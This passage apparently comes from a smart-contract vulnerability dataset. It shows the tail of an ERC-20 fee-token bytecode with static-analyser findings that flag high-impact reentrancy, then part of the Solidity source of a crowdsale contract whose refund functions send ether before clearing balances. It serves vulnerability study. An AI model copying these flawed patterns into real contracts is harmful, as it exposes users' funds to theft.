fffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc390612d0b565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b6000611002610ffb6111cc565b848461139f565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661106d6111cc565b73ffffffffffffffffffffffffffffffffffffffff161461108d57600080fd5b600061109830610b31565b90506110a381611cf6565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6111356111cc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b990612d0b565b60405180910390fd5b8060178190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611244576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123b90612e44565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ab90612ed6565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113929190612a96565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561140f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140690612f68565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561147f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147690612ffa565b60405180910390fd5b600081116114c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b99061308c565b60405180910390fd5b6114ca610d7a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115385750611508610d7a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561180257601560149054906101000a900460ff1661159757601654811115611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d906130f8565b60405180910390fd5b5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561163b5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61167a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116719061318a565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461172757601754816116dc84610b31565b6116e691906131aa565b10611726576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171d90613272565b60405180910390fd5b5b600061173230610b31565b905060006018548210159050601654821061174d5760165491505b808015611765575060158054906101000a900460ff16155b80156117bf5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156117d75750601560169054906101000a900460ff165b156117ff576117e582611cf6565b600047905060008111156117fd576117fc47611b67565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118a95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061195c5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561195b5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561196a5760009050611af1565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611a155750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a2d57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ad85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611af057600a54600c81905550600b54600d819055505b5b611afd84848484611f7c565b50505050565b6000838311158290611b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b42919061293f565b60405180910390fd5b5060008385611b5a9190613292565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bca6008611bbc600986611fa990919063ffffffff16565b611ff390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bf5573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c596001611c4b600986611fa990919063ffffffff16565b611ff390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c84573d6000803e3d6000fd5b5050565b6000600654821115611ccf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc690613338565b60405180910390fd5b6000611cd961206e565b9050611cee8184611fa990919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d2d57611d2c6126cd565b5b604051908082528060200260200182016040528015611d5b5781602001602082028036833780820191505090505b5090503081600081518110611d7357611d72612d2b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e1557600080fd5b505afa158015611e29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e4d919061336d565b81600181518110611e6157611e60612d2b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ec830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111d4565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f2c959493929190613493565b600060405180830381600087803b158015611f4657600080fd5b505af1158015611f5a573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b80611f8a57611f89612099565b5b611f958484846120dc565b80611fa357611fa26122a7565b5b50505050565b6000611feb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506122bb565b905092915050565b6000808314156120065760009050612068565b6000828461201491906134ed565b90508284826120239190613576565b14612063576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205a90613619565b60405180910390fd5b809150505b92915050565b600080600061207b61231e565b915091506120928183611fa990919063ffffffff16565b9250505090565b6000600c541480156120ad57506000600d54145b156120b7576120da565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806120ee8761237d565b95509550955095509550955061214c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222d8161248d565b612237848361254a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122949190612a96565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612302576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122f9919061293f565b60405180910390fd5b50600083856123119190613576565b9050809150509392505050565b600080600060065490506000670de0b6b3a76400009050612352670de0b6b3a7640000600654611fa990919063ffffffff16565b82101561237057600654670de0b6b3a7640000935093505050612379565b81819350935050505b9091565b600080600080600080600080600061239a8a600c54600d54612584565b92509250925060006123aa61206e565b905060008060006123bd8e87878761261a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061242783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b03565b905092915050565b600080828461243e91906131aa565b905083811015612483576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247a90613685565b60405180910390fd5b8091505092915050565b600061249761206e565b905060006124ae8284611ff390919063ffffffff16565b905061250281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61255f826006546123e590919063ffffffff16565b60068190555061257a8160075461242f90919063ffffffff16565b6007819055505050565b6000806000806125b060646125a2888a611ff390919063ffffffff16565b611fa990919063ffffffff16565b905060006125da60646125cc888b611ff390919063ffffffff16565b611fa990919063ffffffff16565b90506000612603826125f5858c6123e590919063ffffffff16565b6123e590919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126338589611ff390919063ffffffff16565b9050600061264a8689611ff390919063ffffffff16565b905060006126618789611ff390919063ffffffff16565b9050600061268a8261267c85876123e590919063ffffffff16565b6123e590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612705826126bc565b810181811067ffffffffffffffff82111715612724576127236126cd565b5b80604052505050565b60006127376126a3565b905061274382826126fc565b919050565b600067ffffffffffffffff821115612763576127626126cd565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127a482612779565b9050919050565b6127b481612799565b81146127bf57600080fd5b50565b6000813590506127d1816127ab565b92915050565b60006127ea6127e584612748565b61272d565b9050808382526020820190506020840283018581111561280d5761280c612774565b5b835b81811015612836578061282288826127c2565b84526020840193505060208101905061280f565b5050509392505050565b600082601f830112612855576128546126b7565b5b81356128658482602086016127d7565b91505092915050565b600060208284031215612884576128836126ad565b5b600082013567ffffffffffffffff8111156128a2576128a16126b2565b5b6128ae84828501612840565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156128f15780820151818401526020810190506128d6565b83811115612900576000848401525b50505050565b6000612911826128b7565b61291b81856128c2565b935061292b8185602086016128d3565b612934816126bc565b840191505092915050565b600060208201905081810360008301526129598184612906565b905092915050565b6000819050919050565b61297481612961565b811461297f57600080fd5b50565b6000813590506129918161296b565b92915050565b600080604083850312156129ae576129ad6126ad565b5b60006129bc858286016127c2565b92505060206129cd85828601612982565b9150509250929050565b60008115159050919050565b6129ec816129d7565b82525050565b6000602082019050612a0760008301846129e3565b92915050565b6000819050919050565b6000612a32612a2d612a2884612779565b612a0d565b612779565b9050919050565b6000612a4482612a17565b9050919050565b6000612a5682612a39565b9050919050565b612a6681612a4b565b82525050565b6000602082019050612a816000830184612a5d565b92915050565b612a9081612961565b82525050565b6000602082019050612aab6000830184612a87565b92915050565b600080600060608486031215612aca57612ac96126ad565b5b6000612ad8868287016127c2565b9350506020612ae9868287016127c2565b9250506040612afa86828701612982565b9150509250925092565b600060ff82169050919050565b612b1a81612b04565b82525050565b6000602082019050612b356000830184612b11565b92915050565b612b4481612799565b82525050565b6000602082019050612b5f6000830184612b3b565b92915050565b600060208284031215612b7b57612b7a6126ad565b5b6000612b89848285016127c2565b91505092915050565b612b9b816129d7565b8114612ba657600080fd5b50565b600081359050612bb881612b92565b92915050565b600060208284031215612bd457612bd36126ad565b5b6000612be284828501612ba9565b91505092915050565b600060208284031215612c0157612c006126ad565b5b6000612c0f84828501612982565b91505092915050565b60008060008060808587031215612c3257612c316126ad565b5b6000612c4087828801612982565b9450506020612c5187828801612982565b9350506040612c6287828801612982565b9250506060612c7387828801612982565b91505092959194509250565b60008060408385031215612c9657612c956126ad565b5b6000612ca4858286016127c2565b9250506020612cb5858286016127c2565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612cf56020836128c2565b9150612d0082612cbf565b602082019050919050565b60006020820190508181036000830152612d2481612ce8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612d9482612961565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612dc757612dc6612d5a565b5b600182019050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612e2e6024836128c2565b9150612e3982612dd2565b604082019050919050565b60006020820190508181036000830152612e5d81612e21565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612ec06022836128c2565b9150612ecb82612e64565b604082019050919050565b60006020820190508181036000830152612eef81612eb3565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612f526025836128c2565b9150612f5d82612ef6565b604082019050919050565b60006020820190508181036000830152612f8181612f45565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612fe46023836128c2565b9150612fef82612f88565b604082019050919050565b6000602082019050818103600083015261301381612fd7565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006130766029836128c2565b91506130818261301a565b604082019050919050565b600060208201905081810360008301526130a581613069565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006130e2601c836128c2565b91506130ed826130ac565b602082019050919050565b60006020820190508181036000830152613111816130d5565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b60006131746023836128c2565b915061317f82613118565b604082019050919050565b600060208201905081810360008301526131a381613167565b9050919050565b60006131b582612961565b91506131c083612961565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131f5576131f4612d5a565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b600061325c6023836128c2565b915061326782613200565b604082019050919050565b6000602082019050818103600083015261328b8161324f565b9050919050565b600061329d82612961565b91506132a883612961565b9250828210156132bb576132ba612d5a565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613322602a836128c2565b915061332d826132c6565b604082019050919050565b6000602082019050818103600083015261335181613315565b9050919050565b600081519050613367816127ab565b92915050565b600060208284031215613383576133826126ad565b5b600061339184828501613358565b91505092915050565b6000819050919050565b60006133bf6133ba6133b58461339a565b612a0d565b612961565b9050919050565b6133cf816133a4565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61340a81612799565b82525050565b600061341c8383613401565b60208301905092915050565b6000602082019050919050565b6000613440826133d5565b61344a81856133e0565b9350613455836133f1565b8060005b8381101561348657815161346d8882613410565b975061347883613428565b925050600181019050613459565b5085935050505092915050565b600060a0820190506134a86000830188612a87565b6134b560208301876133c6565b81810360408301526134c78186613435565b90506134d66060830185612b3b565b6134e36080830184612a87565b9695505050505050565b60006134f882612961565b915061350383612961565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561353c5761353b612d5a565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061358182612961565b915061358c83612961565b92508261359c5761359b613547565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006136036021836128c2565b915061360e826135a7565b604082019050919050565b60006020820190508181036000830152613632816135f6565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061366f601b836128c2565b915061367a82613639565b602082019050919050565b6000602082019050818103600083015261369e81613662565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122000cfe6e99429d947c5489202639ea2f51ac055ef04346846a129a2ea8dda389664736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
5,692
0xde67c7df62c27d996d72d8b106022885f5a81d30
pragma solidity ^0.4.23; // File: contracts/Utils/Math.sol library MathUtils { function add(uint a, uint b) internal pure returns (uint) { uint result = a + b; if (a == 0 || b == 0) { return result; } require(result > a && result > b); return result; } function sub(uint a, uint b) internal pure returns (uint) { require(a >= b); return a - b; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0 || b == 0) { return 0; } uint result = a * b; require(result / a == b); return result; } } // File: contracts/Utils/Ownable.sol contract Ownable { address public owner; constructor() public { owner = msg.sender; } function isOwner() view public returns (bool) { return msg.sender == owner; } modifier grantOwner { require(isOwner()); _; } } // File: contracts/Crowdsale/CrowdsaleToken.sol interface CrowdsaleToken { function transfer(address destination, uint amount) external returns (bool); function balanceOf(address account) external view returns (uint); function burn(uint amount) external; } // File: contracts/Crowdsale/CryptoPoliceCrowdsale.sol contract CryptoPoliceCrowdsale is Ownable { using MathUtils for uint; enum CrowdsaleState { Pending, Started, Ended, Paused, SoldOut } struct ExchangeRate { uint tokens; uint price; } struct Participant { bool identified; uint processedDirectWeiAmount; uint processedExternalWeiAmount; uint suspendedDirectWeiAmount; uint suspendedExternalWeiAmount; } event ExternalPaymentReminder(uint weiAmount, bytes32 paymentChecksum); event PaymentSuspended(address participant); event PaymentProcessed(uint weiAmount, address participant, bytes32 paymentChecksum, uint tokenAmount); uint public constant THRESHOLD1 = 270000000e18; uint public constant THRESHOLD2 = 350000000e18; uint public constant THRESHOLD3 = 490000000e18; uint public constant THRESHOLD4 = 510000000e18; uint public constant RELEASE_THRESHOLD = 11111111e18; address public admin; /** * Amount of tokens sold in this crowdsale */ uint public tokensSold; /** * Minimum number of Wei that can be exchanged for tokens */ uint public minSale = 0.01 ether; /** * Amount of direct Wei paid to the contract that has not yet been processed */ uint public suspendedPayments = 0; /** * Token that will be sold */ CrowdsaleToken public token; /** * State in which the crowdsale is in */ CrowdsaleState public state = CrowdsaleState.Pending; /** * List of exchange rates for each token volume */ ExchangeRate[4] public exchangeRates; bool public crowdsaleEndedSuccessfully = false; /** * Number of Wei that can be paid without carrying out KYC process */ uint public unidentifiedSaleLimit = 1.45 ether; /** * Crowdsale participants that have made payments */ mapping(address => Participant) public participants; /** * Map external payment reference hash to that payment description */ mapping(bytes32 => string) public externalPaymentDescriptions; /** * Map participants to list of their external payment reference hashes */ mapping(address => bytes32[]) public participantExternalPaymentChecksums; mapping(address => bytes32[]) public participantSuspendedExternalPaymentChecksums; /** * Map external payment checksum to payment amount */ mapping(bytes32 => uint) public suspendedExternalPayments; mapping(address => bool) public bannedParticipants; bool public revertSuspendedPayment = false; /** * 1) Process payment when crowdsale started by sending tokens in return * 2) Issue a refund when crowdsale ended unsuccessfully */ function () public payable { if (state == CrowdsaleState.Ended) { msg.sender.transfer(msg.value); refundParticipant(msg.sender); } else { require(state == CrowdsaleState.Started, "Crowdsale currently inactive"); processPayment(msg.sender, msg.value, ""); } } /** * Recursively caluclates number of tokens that can be exchanged for given payment * * @param salePosition Number of tokens processed in crowdsale so far * @param _paymentReminder Number of Wei remaining from payment so far * @param _processedTokenCount Number of tokens that can be exchanged so far * * @return paymentReminder Number of Wei remaining from payment * @return processedTokenCount Number of tokens that can be exchanged * @return soldOut Indicates whether or not there would be no more tokens left after this exchange */ function exchangeCalculator(uint salePosition, uint _paymentReminder, uint _processedTokenCount) internal view returns (uint paymentReminder, uint processedTokenCount, bool soldOut) { uint threshold = getTreshold(salePosition); ExchangeRate memory currentExchangeRate = getExchangeRate(threshold); // how many round number of portions are left for exchange uint availablePortions = (threshold - salePosition) / currentExchangeRate.tokens; // this indicates that there are no leftover tokens that can be exchanged // without stepping over threshold if (availablePortions == 0) { if (threshold == THRESHOLD4) { return (_paymentReminder, _processedTokenCount, true); } // move sale position to current threshold return exchangeCalculator(threshold, _paymentReminder, _processedTokenCount); } uint requestedPortions = _paymentReminder / currentExchangeRate.price; uint portions = requestedPortions > availablePortions ? availablePortions : requestedPortions; uint newProcessedTokenCount = _processedTokenCount + portions * currentExchangeRate.tokens; uint newPaymentReminder = _paymentReminder - portions * currentExchangeRate.price; uint newSalePosition = salePosition + newProcessedTokenCount; if (newPaymentReminder < currentExchangeRate.price) { return (newPaymentReminder, newProcessedTokenCount, false); } return exchangeCalculator(newSalePosition, newPaymentReminder, newProcessedTokenCount); } function processPayment(address participant, uint payment, bytes32 externalPaymentChecksum) internal { require(payment >= minSale, "Payment must be greather or equal to sale minimum"); require(bannedParticipants[participant] == false, "Participant is banned"); uint paymentReminder; uint processedTokenCount; bool soldOut; (paymentReminder, processedTokenCount, soldOut) = exchangeCalculator(tokensSold, payment, 0); // how much was actually spent from this payment uint spent = payment - paymentReminder; bool directPayment = externalPaymentChecksum == ""; if (participants[participant].identified == false) { // how much participant has spent in crowdsale so far uint spendings = participants[participant].processedDirectWeiAmount .add(participants[participant].processedExternalWeiAmount).add(spent); bool hasSuspendedPayments = participants[participant].suspendedDirectWeiAmount > 0 || participants[participant].suspendedExternalWeiAmount > 0; // due to fluctuations of unidentified payment limit, it might not be reached // suspend current payment if participant currently has suspended payments or limit reached if (hasSuspendedPayments || spendings > unidentifiedSaleLimit) { require(revertSuspendedPayment == false, "Participant does not comply with KYC"); suspendedPayments = suspendedPayments + payment; if (directPayment) { participants[participant].suspendedDirectWeiAmount = participants[participant].suspendedDirectWeiAmount.add(payment); } else { participantSuspendedExternalPaymentChecksums[participant].push(externalPaymentChecksum); participants[participant].suspendedExternalWeiAmount = participants[participant].suspendedExternalWeiAmount.add(payment); suspendedExternalPayments[externalPaymentChecksum] = payment; } emit PaymentSuspended(participant); return; } } // unspent reminder must be returned back to participant if (paymentReminder > 0) { if (directPayment) { participant.transfer(paymentReminder); } else { emit ExternalPaymentReminder(paymentReminder, externalPaymentChecksum); } } if (directPayment) { participants[participant].processedDirectWeiAmount = participants[participant].processedDirectWeiAmount.add(spent); } else { participants[participant].processedExternalWeiAmount = participants[participant].processedExternalWeiAmount.add(spent); } require(token.transfer(participant, processedTokenCount), "Failed to transfer tokens"); if (soldOut) { state = CrowdsaleState.SoldOut; } tokensSold = tokensSold + processedTokenCount; emit PaymentProcessed(spent, participant, externalPaymentChecksum, processedTokenCount); } /** * Intended when other currencies are received and owner has to carry out exchange * for those payments aligned to Wei */ function proxyExchange(address beneficiary, uint payment, string description, bytes32 checksum) public grantOwnerOrAdmin { require(beneficiary != address(0), "Beneficiary not specified"); require(bytes(description).length > 0, "Description not specified"); require(checksum.length > 0, "Checksum not specified"); // make sure that payment has not been processed yet require(bytes(externalPaymentDescriptions[checksum]).length == 0, "Payment already processed"); processPayment(beneficiary, payment, checksum); externalPaymentDescriptions[checksum] = description; participantExternalPaymentChecksums[beneficiary].push(checksum); } /** * Command for owner to start crowdsale */ function startCrowdsale(address crowdsaleToken, address adminAddress) public grantOwner { require(state == CrowdsaleState.Pending); setAdmin(adminAddress); token = CrowdsaleToken(crowdsaleToken); require(token.balanceOf(address(this)) == 510000000e18); state = CrowdsaleState.Started; } function pauseCrowdsale() public grantOwnerOrAdmin { require(state == CrowdsaleState.Started); state = CrowdsaleState.Paused; } function unPauseCrowdsale() public grantOwnerOrAdmin { require(state == CrowdsaleState.Paused); state = CrowdsaleState.Started; } /** * Command for owner to end crowdsale */ function endCrowdsale(bool success) public grantOwner notEnded { state = CrowdsaleState.Ended; crowdsaleEndedSuccessfully = success; uint balance = address(this).balance; if (success && balance > 0) { uint amount = balance.sub(suspendedPayments); owner.transfer(amount); } } function markParticipantIdentifiend(address participant) public grantOwnerOrAdmin notEnded { participants[participant].identified = true; if (participants[participant].suspendedDirectWeiAmount > 0) { processPayment(participant, participants[participant].suspendedDirectWeiAmount, ""); suspendedPayments = suspendedPayments.sub(participants[participant].suspendedDirectWeiAmount); participants[participant].suspendedDirectWeiAmount = 0; } if (participants[participant].suspendedExternalWeiAmount > 0) { bytes32[] storage checksums = participantSuspendedExternalPaymentChecksums[participant]; for (uint i = 0; i < checksums.length; i++) { processPayment(participant, suspendedExternalPayments[checksums[i]], checksums[i]); suspendedExternalPayments[checksums[i]] = 0; } participants[participant].suspendedExternalWeiAmount = 0; participantSuspendedExternalPaymentChecksums[participant] = new bytes32[](0); } } function unidentifyParticipant(address participant) public grantOwnerOrAdmin notEnded { participants[participant].identified = false; } function returnSuspendedPayments(address participant) public grantOwnerOrAdmin { returnDirectPayments(participant, false, true); returnExternalPayments(participant, false, true); } function updateUnidentifiedSaleLimit(uint limit) public grantOwnerOrAdmin notEnded { unidentifiedSaleLimit = limit; } function updateMinSale(uint weiAmount) public grantOwnerOrAdmin { minSale = weiAmount; } /** * Allow crowdsale participant to get refunded */ function refundParticipant(address participant) internal { require(state == CrowdsaleState.Ended); require(crowdsaleEndedSuccessfully == false); returnDirectPayments(participant, true, true); returnExternalPayments(participant, true, true); } function refund(address participant) public grantOwner { refundParticipant(participant); } function burnLeftoverTokens(uint8 percentage) public grantOwner { require(state == CrowdsaleState.Ended); require(percentage <= 100 && percentage > 0); uint balance = token.balanceOf(address(this)); if (balance > 0) { uint amount = balance / (100 / percentage); token.burn(amount); } } function updateExchangeRate(uint8 idx, uint tokens, uint price) public grantOwnerOrAdmin { require(tokens > 0 && price > 0); require(idx >= 0 && idx <= 3); exchangeRates[idx] = ExchangeRate({ tokens: tokens, price: price }); } function ban(address participant) public grantOwnerOrAdmin { bannedParticipants[participant] = true; } function unBan(address participant) public grantOwnerOrAdmin { bannedParticipants[participant] = false; } function getExchangeRate(uint threshold) internal view returns (ExchangeRate) { uint8 idx = exchangeRateIdx(threshold); ExchangeRate storage rate = exchangeRates[idx]; require(rate.tokens > 0 && rate.price > 0, "Exchange rate not set"); return rate; } function getTreshold(uint salePosition) internal pure returns (uint) { if (salePosition < THRESHOLD1) { return THRESHOLD1; } if (salePosition < THRESHOLD2) { return THRESHOLD2; } if (salePosition < THRESHOLD3) { return THRESHOLD3; } if (salePosition < THRESHOLD4) { return THRESHOLD4; } assert(false); } function exchangeRateIdx(uint threshold) internal pure returns (uint8) { if (threshold == THRESHOLD1) { return 0; } if (threshold == THRESHOLD2) { return 1; } if (threshold == THRESHOLD3) { return 2; } if (threshold == THRESHOLD4) { return 3; } assert(false); } function updateRevertSuspendedPayment(bool value) public grantOwnerOrAdmin { revertSuspendedPayment = value; } /** * Transfer Wei sent to the contract directly back to the participant * * @param participant Participant * @param processed Whether or not processed payments should be included * @param suspended Whether or not suspended payments should be included */ function returnDirectPayments(address participant, bool processed, bool suspended) internal { if (processed && participants[participant].processedDirectWeiAmount > 0) { participant.transfer(participants[participant].processedDirectWeiAmount); participants[participant].processedDirectWeiAmount = 0; } if (suspended && participants[participant].suspendedDirectWeiAmount > 0) { participant.transfer(participants[participant].suspendedDirectWeiAmount); participants[participant].suspendedDirectWeiAmount = 0; } } /** * Signal that externally made payments should be returned back to the participant * * @param participant Participant * @param processed Whether or not processed payments should be included * @param suspended Whether or not suspended payments should be included */ function returnExternalPayments(address participant, bool processed, bool suspended) internal { if (processed && participants[participant].processedExternalWeiAmount > 0) { participants[participant].processedExternalWeiAmount = 0; } if (suspended && participants[participant].suspendedExternalWeiAmount > 0) { participants[participant].suspendedExternalWeiAmount = 0; } } function setAdmin(address adminAddress) public grantOwner { admin = adminAddress; require(isAdminSet()); } function transwerFunds(uint amount) public grantOwner { require(RELEASE_THRESHOLD <= tokensSold, "There are not enaugh tokens sold"); uint transferAmount = amount; uint balance = address(this).balance; if (balance < amount) { transferAmount = balance; } owner.transfer(transferAmount); } function isAdminSet() internal view returns(bool) { return admin != address(0); } function isAdmin() internal view returns(bool) { return isAdminSet() && msg.sender == admin; } function 